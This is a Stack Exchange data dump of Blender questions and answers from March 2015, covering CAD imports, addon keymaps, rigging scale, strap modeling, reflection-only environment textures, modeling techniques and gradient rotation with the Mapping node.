  <row Id="26865" PostTypeId="1" AcceptedAnswerId="26867" CreationDate="2015-03-09T15:49:01.023" Score="2" ViewCount="163" Body="&lt;p&gt;I come to Blender from the CAD world.  I am teaching Blender to 12 students.  We are working on a scene that happens in Charleston Harbor in 1862.  I found an old chart and scaled it to full size using AutoCAD.  Then I traced it making closed polylines.  I can bring it into Blender as an FBX, but those closed shapes come in looking like this image:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iQDT8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make a landscape using the shapes I created, giving it height.  Do any of you know how I might un-fill the shapes? &lt;/p&gt;&#xA;" OwnerUserId="8332" LastEditorUserId="241" LastEditDate="2015-03-09T15:51:26.187" LastActivityDate="2015-03-09T19:11:12.157" Title="Is there a way to bring in vectors from an AutoCAD file without them being filled?" Tags="&lt;import&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26866" PostTypeId="1" AcceptedAnswerId="26982" CreationDate="2015-03-09T16:16:45.117" Score="0" ViewCount="411" Body="&lt;p&gt;I am creating an addon I have created key map for that addon,but the problem is when I press the hotkey that I set up it activate the class more than one time,while if I press it from menu it happen only 1 time.I tried to find a solution but I couldn't find it,&#xA;here is the key map portion of my addon:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OhwnR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so what is the problem?&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="5794" LastEditDate="2015-03-09T17:27:31.080" LastActivityDate="2015-03-10T23:26:31.613" Title="Key map for an addon activate the class more than one time?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26867" PostTypeId="2" ParentId="26865" CreationDate="2015-03-09T16:25:27.590" Score="0" Body="&lt;p&gt;There's a plug-in for importing DXF files that gives  you a lot more options than FBX and it looks like it imports linework as paths instead of meshes.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zMe9s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4942" LastEditorUserId="6204" LastEditDate="2015-03-09T19:11:12.157" LastActivityDate="2015-03-09T19:11:12.157" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="26868" PostTypeId="2" ParentId="26851" CreationDate="2015-03-09T16:38:21.840" Score="1" Body="&lt;p&gt;I'm not quite sure what you are trying to achieve, but I created this blend file that turns a 2D fan into a 3D cone... &lt;a href=&quot;https://www.dropbox.com/s/zjddbv90rfj48n8/Cone2Dto3D.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/zjddbv90rfj48n8/Cone2Dto3D.blend?dl=0&lt;/a&gt; . Just press Alt+A to run the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, since it was requested, here's the instructions....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0) To get started, Num Pad 7 for top view and Shift+C to centre cursor at origin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Add a mesh circle with 72 sides, triangle fan fill, 1.1536m radius. [Any strange dimensions given here are due to the maths required to make a cone that ends up as 1m tall. I did do the maths but deleted it].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) R, Z, 2.5, Enter, to rotate circle about Z by 2.5 degrees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Tab into edit mode and delete 71 of the faces, leaving just the one at the 12 o'clock position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Add an Empty ('Empty1') at the origin (i.e. the sharp point of the triangle).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Select just the triangle and add an array modifier, Count=36. Turn off Relative Offset and choose just Object Offset, specifying Empty1 as the Object Offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) Rotate Empty1 5 degrees about Z to cause a fanned array of triangles in a semi-circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7) Add another Empty ('Empty2') at the point of the triangle (I used the Single Arrow style to make things clearer). You should get an arrow pointing up the +ve Z axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8) Select Empty2, then shift-select the triangle, hit Tab to edit triangle, shift select the vertex at the point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;9) Press Ctrl+H, Hook to Selected Object. (Moving Empty2 can now drag the triangles up and down into a point... but leave it where it is for now at Z=0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10) With the triangle still in edit mode, select the other two vertices only (Ctrl+I), Shift+S, Cursor To Selected. The cursor should now be between the two vertices at the outside of the triangle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;11) Tab out of edit mode and then A to deselect the triangles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;12) Add another Empty ('Empty3'), single arrow style, then press R, X, 90, Enter, so it points back towards the point of the triangle (along the Y axis).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;13) With Empty3 selected, shift-select the triangle, Tab, Ctrl+H, Hook To Selected Object. [Moving Empty3 can now squash the triangle towards the centre... but leave it where it is for now at Y = 1.1536m.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;14) Tab out of edit mode and A to deselect all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;++ Now the animation ++&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;15) Set start frame to 1, end frame to anything you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;16) At Frame 1, select Empty2 (the arrow pointing upwards) and set a key frame for Loc Z (i.e. Z=0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;17) Go to last frame (Shift+Right arrow). Move Empty2 up to Z=1 and set a keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;18) &lt;strong&gt;IMPORTANT! Go into the graph editor and set interpolation (T) to Linear.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;19) Go back to Frame 1 (Shift+Left arrow), select Empty1 and set a keyframe for Rot Z (i.e. Rot Z = 5 degrees).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;20) Go to last frame. Rotate Empty2 another 5 degrees about Z and set a keyframe (i.e. Rot Z = 10 degrees). [You should have a droopy propellor / palm leaf thing now].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;21) &lt;strong&gt;IMPORTANT! Go into the graph editor and set interpolation (T) to Linear.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;22) Go back to Frame 1, select Empty3 and set a keyframe for Loc Y (i.e. Y = 1.1536)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;23) Go to last frame. In top view, select Empty3 and set its Y location to Y = 0.57625. The triangles should join exactly to make a cone. If not, move Empty3 manually along Y until they do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;24) When the triangles meet exactly, set a keyframe for Empty3's Y location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;25) &lt;strong&gt;IMPORTANT! Go into the graph editor, select Empty3's graph and open the Properties panel (P). Set Interpolation to Sinusoidal, and set Easing to Ease Out.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;26) Alt+A to run animation.&lt;/p&gt;&#xA;" OwnerUserId="12982" LastEditorUserId="12982" LastEditDate="2015-03-10T07:28:05.507" LastActivityDate="2015-03-10T07:28:05.507" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="26869" PostTypeId="1" CreationDate="2015-03-09T18:09:05.090" Score="17" ViewCount="8518" Body="&lt;p&gt;What are the different methods for modeling something in blender? I know a few like mesh modeling and sculpting, but am interested in other methods to create shapes.&lt;/p&gt;&#xA;" OwnerUserId="1770" LastEditorUserId="55" LastEditDate="2015-03-10T03:13:09.493" LastActivityDate="2015-06-20T14:09:38.217" Title="What techniques are used to begin creating new models?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="26870" PostTypeId="1" AcceptedAnswerId="26915" CreationDate="2015-03-09T18:21:29.857" Score="0" ViewCount="4804" Body="&lt;p&gt;I rigged my model and I realized that it has a scale of -1 on X axis (left/right).&#xA;Then if I mirror the model the left bones deform the right and vice versa, I tried &quot;Mirror vertex groups&quot; but it does strange things (seems a buggy function). I though about applying a inverse scaling to the vertices and the scaling the the object but it doesn't work. I don't know how to do.&#xA;Is there a script or something to do so ?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13067" LastActivityDate="2021-02-13T10:17:17.537" Title="Apply scaling to rigged model without affecting visual aspect" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;transforms&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26871" PostTypeId="2" ParentId="26870" CreationDate="2015-03-09T18:27:28.747" Score="1" Body="&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt;&gt;&lt;em&gt;Apply Scale&lt;/em&gt; will set all scale values to one. This will fix that issue, but be careful it could mess up scale animation and anything depended on the scale (save your file before trying it).&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-03-09T18:27:28.747" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26873" PostTypeId="2" ParentId="26832" CreationDate="2015-03-09T18:48:18.750" Score="0" Body="&lt;p&gt;If the binoculars are going to hang around someone's neck, you could try doing a cloth simulation on a strip of mesh.  The problem is that leather straps are going to be stiff across the grain and pliant along it, so getting a mesh with a cloth modifier to deform correctly will take a great deal of tweaking.&#xA;If you're just making a still images, then i'd just try making a mesh and using falloff selection to bend and twist it the way you want it.&#xA;The laplacian deform modifier is useful in these situations for preventing kinks and self-intersection.&#xA;You can also making an armature and skinning it, but I don't know very much about rigging.&lt;/p&gt;&#xA;" OwnerUserId="4942" LastActivityDate="2015-03-09T18:48:18.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26874" PostTypeId="2" ParentId="26832" CreationDate="2015-03-09T18:50:10.920" Score="6" Body="&lt;p&gt;Model a small section of the strap. Add a curve object. Give the strap an array modifier and a curve deform modifier, set the curve for the curve modifier and set the array to fit curve and select the curve. You can set the start and end caps of the array to get a 'loop' at each end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0gVxJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you adjust the curve the strap will deform with it. Use &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt; to 'twist' a curve point. For ease of animation you can add a hook to each curve point with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; -&gt; Hook to new object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bVLOm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For physics you could set a small 'cube' at each curve point as the hook object (or make it the parent to the empty) and set rigid body physics on them.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-09T18:50:10.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26875" PostTypeId="1" AcceptedAnswerId="26878" CreationDate="2015-03-09T19:33:10.283" Score="1" ViewCount="341" Body="&lt;p&gt;I did a nice little motion track:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B5Rj7h_MP4waTWJRNkd5RDBPN2M/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;Motion Tracked&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to apply a glossy material with a little bit of roughness to give it a metallic look, and in the reflection of the metal, I want to see the surrounding environment.  I plan on using a still image from the original footage and applying it as an environmental texture (in Cycles).  Is there any way to make it so the environmental texture only influences the reflection, and has  no influence on the lighting?  If so, please explain to me how this can be accomplished.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="3127" LastEditDate="2015-03-09T19:45:24.723" LastActivityDate="2015-03-09T20:08:24.227" Title="Way to keep lighting from lamps without influence from environmental textures" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;light&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26876" PostTypeId="1" CreationDate="2015-03-09T19:39:07.537" Score="1" ViewCount="351" Body="&lt;p&gt;I was writing a Python script for the Blender Game Engine, and I noticed that any time I imported a module other than the bge, the rest of my script wouldn't run.  I was planning on using the random module to place my enemies in random positions throughout the game.  If you could explain how to get around this problem, that would be great!&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-03-10T08:34:39.093" Title="Python Modules in the Blender Game Engine?" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26877" PostTypeId="2" ParentId="26875" CreationDate="2015-03-09T19:56:58.147" Score="1" Body="&lt;p&gt;Not that I know of, however you can add a sphere, add the texture to it using a &lt;em&gt;Diffuse&lt;/em&gt; material, and then disable the &lt;em&gt;Shadows&lt;/em&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;em&gt;UV Sphere&lt;/em&gt; to your scene (&lt;em&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;&lt;/em&gt;), and scale as desired (&lt;em&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;/em&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go into edit mode (&lt;em&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/em&gt;) and select all (&lt;em&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;/em&gt;) and unwrap using sphere projection (&lt;em&gt;&lt;kbd&gt;U&lt;/kbd&gt; &gt; Sphere Projection&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gdQqs.jpg&quot; alt=&quot;Sphere Projection&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now set up your material like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O64M8.jpg&quot; alt=&quot;Material Setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now all you need to do is to disable the casting of shadows. Go to &lt;em&gt;Object &gt; Ray Visibility&lt;/em&gt; and disable the &lt;em&gt;Shadow&lt;/em&gt; option &lt;strong&gt;and the &lt;em&gt;Camera&lt;/em&gt; option&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nHwpG.jpg&quot; alt=&quot;Shadows&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the reflections are not quite apparent enough you can try setting the material of the sphere to an &lt;em&gt;Emission&lt;/em&gt; shader instead of &lt;em&gt;Diffuse&lt;/em&gt; and tweaking the value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Diffuse&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KcX1L.gif&quot; alt=&quot;Diffuse Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Glossy&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FItI6.gif&quot; alt=&quot;Glossy Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/89/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=89&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-03-09T20:08:24.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26878" PostTypeId="2" ParentId="26875" CreationDate="2015-03-09T20:05:50.867" Score="1" Body="&lt;p&gt;If you only want reflections from an object or world texture, deactivate everything but glossy in object's or world's ray visibility :&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wHSTA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-09T20:05:50.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26879" PostTypeId="1" CreationDate="2015-03-09T20:17:00.197" Score="4" ViewCount="3382" Body="&lt;p&gt;I really need that &lt;strong&gt;[ RECALCULATE ]&lt;/strong&gt; button, from my tutorial. It should be here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Vdn3.png&quot; alt=&quot;Foto from Blender&amp;#39;s &amp;quot;Wheres My Button&amp;quot; Page&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's missing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bdnSi.png&quot; alt=&quot;Reality :D&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did i do wrong? The Tutorial said, select the whole Mesh with [a], so i did.. But the button is not there! &lt;/p&gt;&#xA;" OwnerUserId="13068" LastEditorUserId="599" LastEditDate="2015-03-09T20:25:35.963" LastActivityDate="2015-03-09T20:25:35.963" Title="Where is the recalculate normals button?" Tags="&lt;modeling&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26880" PostTypeId="2" ParentId="26879" CreationDate="2015-03-09T20:20:42.040" Score="8" Body="&lt;p&gt;Its in the shading/uv tab of the tools panel, on the left. You can also use &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;N&lt;/kbd&gt; to perform the action. If you can't find a button or remember the shortcut, you can use the &lt;kbd&gt;Spacebar&lt;/kbd&gt; menu to try searching for it&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-03-09T20:20:42.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26881" PostTypeId="2" ParentId="26869" CreationDate="2015-03-09T20:36:00.740" Score="27" Body="&lt;p&gt;There really are only ~&lt;strong&gt;6&lt;/strong&gt; in blender, except for impracticable ones/not supported, the rest are derivatives:&lt;/p&gt;&#xA;&lt;h2&gt;1. Mesh modeling:&lt;/h2&gt;&#xA;&lt;p&gt;This is where you use edit mode, and move around, connect and disconnect vertices to form a shape.&lt;/p&gt;&#xA;&lt;p&gt;There are a lot of sub-approaches, like extrude modeling and box modeling to name a few. As a rule, use extrude modeling if you're not going to have to eyeball proportions, since you can use the details from the start and work faster (like modeling off blueprints), and use box modeling for when your eyeballing stuff since it is much easier to adjust proportions.&lt;/p&gt;&#xA;&lt;p&gt;Some people only like to do it one way, I'd try both and see what you like.&lt;/p&gt;&#xA;&lt;p&gt;In this area Blender has very good tools.&lt;/p&gt;&#xA;&lt;h2&gt;2. Sculpting:&lt;/h2&gt;&#xA;&lt;p&gt;This is where you work off of a very high poly mesh, and form a shape by pushing vertices in large numbers to form a shape, this can produce very creatve and organic workflow, generally used form non hard surface meshes, although some people sculpt hard surface meshes.&lt;/p&gt;&#xA;&lt;p&gt;In this area, Blender has quite good tools.&lt;/p&gt;&#xA;&lt;h2&gt;3. Curve modeling&lt;/h2&gt;&#xA;&lt;p&gt;This is where a form is created using joined curves, spline modeling. This technique has been largely fased out, but was popular in the 90's (I think)&lt;/p&gt;&#xA;&lt;p&gt;The most famous form is NURBS modeling, where you can create surfaces between curves, but as I said few people now use that method.&lt;/p&gt;&#xA;&lt;p&gt;Blender does have curve support, but no support for trimming or viewport UV's.&lt;/p&gt;&#xA;&lt;h2&gt;4. Procedural Modeling:&lt;/h2&gt;&#xA;&lt;p&gt;This is where code/modifiers does the modeling work. A good example is the displacement modifier, where a mesh can be distorted based on a height map. It is easy to create rock surfaces using this technique.&lt;/p&gt;&#xA;&lt;p&gt;With code added, procedural modeling can go very very far, see these videos. &lt;a href=&quot;https://www.youtube.com/watch?v=jOLhnwllpgs&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=jOLhnwllpgs&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://www.youtube.com/watch?v=WP473rNZ_Eo&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=WP473rNZ_Eo&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Blender's tool set here aren't so advanced, though there are external add-ons that can help: eg: &lt;a href=&quot;https://github.com/nortikin/sverchok&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/nortikin/sverchok&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;5. Simulation&lt;/h2&gt;&#xA;&lt;p&gt;This is useful only for things like a fluid, liquid or gas/ it also is useful for modeling damage or clothing.&lt;/p&gt;&#xA;&lt;p&gt;The fluid and to some degree the smoke simulator are limited, but the  cloth simulator is pretty well featured&lt;/p&gt;&#xA;&lt;h2&gt;6. Metaballs&lt;/h2&gt;&#xA;&lt;p&gt;These are basically shapes that are enclosed in what can best be descried as a shrink wrap shell... They merge together, making it easy to modeling something like a peanut. When they are separated sufficiency they split and go back to their original form. There are few practical applications I know of for meta balls in blender.&lt;/p&gt;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://en.wikipedia.org/wiki/Metaballs&quot; rel=&quot;noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Metaballs&lt;/a&gt; (this example only shows a few but you can have 100's)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Other Methods of Modeling:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;These mostly include scanning and photo-modeling, but Blender doesn't include tools to do this out of the box, you'd need specialized software for this.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-06-20T00:58:19.857" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="26883" PostTypeId="1" AcceptedAnswerId="26884" CreationDate="2015-03-09T21:18:13.647" Score="2" ViewCount="1334" Body="&lt;p&gt;I'm looking to find a plastic manufacturer for my model, and looking around I found this list on a quote page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;STP (Preferred)&lt;/li&gt;&#xA;  &lt;li&gt;IGES&lt;/li&gt;&#xA;  &lt;li&gt;SLDPRT (Native SolidWorks)&lt;/li&gt;&#xA;  &lt;li&gt;PRT (Native PRO-E)&lt;/li&gt;&#xA;  &lt;li&gt;X_T (Parasolid)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Obviously these aren't the only formats manufacturers like to work with, but Blender doesn't export to any of them. What's a good tool to get these types of files? I'd prefer not to download anything, but I will if I have to. I'm running Ubuntu.&lt;/p&gt;&#xA;" OwnerUserId="11545" LastActivityDate="2021-05-20T14:13:56.390" Title="Good way to export good manufacturing models" Tags="&lt;modeling&gt;&lt;file-format&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26884" PostTypeId="2" ParentId="26883" CreationDate="2015-03-09T21:35:00.323" Score="4" Body="&lt;p&gt;&lt;strong&gt;Blender has several export plugins:&lt;/strong&gt; You can also download more, to look for them, open your preferences &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;U&lt;/kbd&gt;&amp;gt;&lt;em&gt;Addons&lt;/em&gt; and use the import export tab:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GNmy9.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;In orange is an option to install an add-on, you can search, on Google, for an add-on that will export do that format.&lt;/p&gt;&#xA;&lt;p&gt;As a last resort, you may have to use multiple programs... however we may not be able to help with that...&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-09T21:35:00.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26885" PostTypeId="1" AcceptedAnswerId="26887" CreationDate="2015-03-09T21:44:34.317" Score="8" ViewCount="12935" Body="&lt;p&gt;How do I rotate a 90% gradient in the node editor without rotating the object&#xA;(see attached picture). Can I do this in the space properties editor or I probably need to add another node? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I want to do here is to keep the colours exactly the same, but 90% rotated in horizontal direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zBz8z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12908" LastEditorUserId="3710" LastEditDate="2015-03-09T22:03:20.007" LastActivityDate="2016-03-23T14:54:30.133" Title="How to rotate a gradient in the node editor?" Tags="&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26886" PostTypeId="2" ParentId="26883" CreationDate="2015-03-09T21:53:42.367" Score="4" Body="&lt;p&gt;These are all nurbs file formats and are generally supported by CAD applications.  CAD data, unlike Animation data is described using polynomial curves which makes for a precise, close-tolerance path for CNC machines.  3D visualization and animation software uses mesh data with algorithmic smoothing done at render time.  It doesn't usually contain the dimensional accuracy needed for cutting a mold.&#xA;Usually, to go from concept to manufacturing, the mesh model will need to be redrawn or converted in a CAD package.&#xA;Most CAD software can read in STL files and convert that data to solid geometry, but usually the import process doesn't translate mesh smoothing information and the result is a faceted model that's not suitable for tooling.&#xA;I know Modo has a plug-in for converting mesh data to nurbs/solids and I think Rhino has some tools for doing this, but I haven't seen anything written explicitly for Blender.&#xA;If you post your blend file, I can take a look at it (tomorrow) and give you an idea of how much work is involved in making it suitable for tooling. &lt;/p&gt;&#xA;" OwnerUserId="4942" LastActivityDate="2015-03-09T21:53:42.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26887" PostTypeId="2" ParentId="26885" CreationDate="2015-03-09T21:54:04.403" Score="13" Body="&lt;p&gt;You use the &lt;strong&gt;Mapping Node&lt;/strong&gt;, add it with &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt;&gt;&lt;em&gt;Vector&lt;/em&gt;&gt;&lt;em&gt;Mapping&lt;/em&gt;. Don't forget to add the texture cordinate into the mapping node, it will not work otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qf6G8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will then need to tweak the Y and Z values. To get 90&lt;sup&gt;o&lt;/sup&gt; You will need to set the Y one to 90&lt;sup&gt;o&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is it at work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SvQul.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2016-03-23T14:54:30.133" LastActivityDate="2016-03-23T14:54:30.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26888" PostTypeId="2" ParentId="26885" CreationDate="2015-03-09T21:54:29.997" Score="3" Body="&lt;p&gt;Add a &lt;strong&gt;&lt;em&gt;Mapping Node&lt;/em&gt;&lt;/strong&gt; (Add--&gt;Vector--&gt;Mapping) and place it between &lt;em&gt;Texture Coordinate&lt;/em&gt; and &lt;em&gt;Gradient Texture&lt;/em&gt; nodes.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/p0X6L.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the rotation factor of the &lt;em&gt;Mapping&lt;/em&gt; node.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zbIc0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-03-09T21:54:29.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
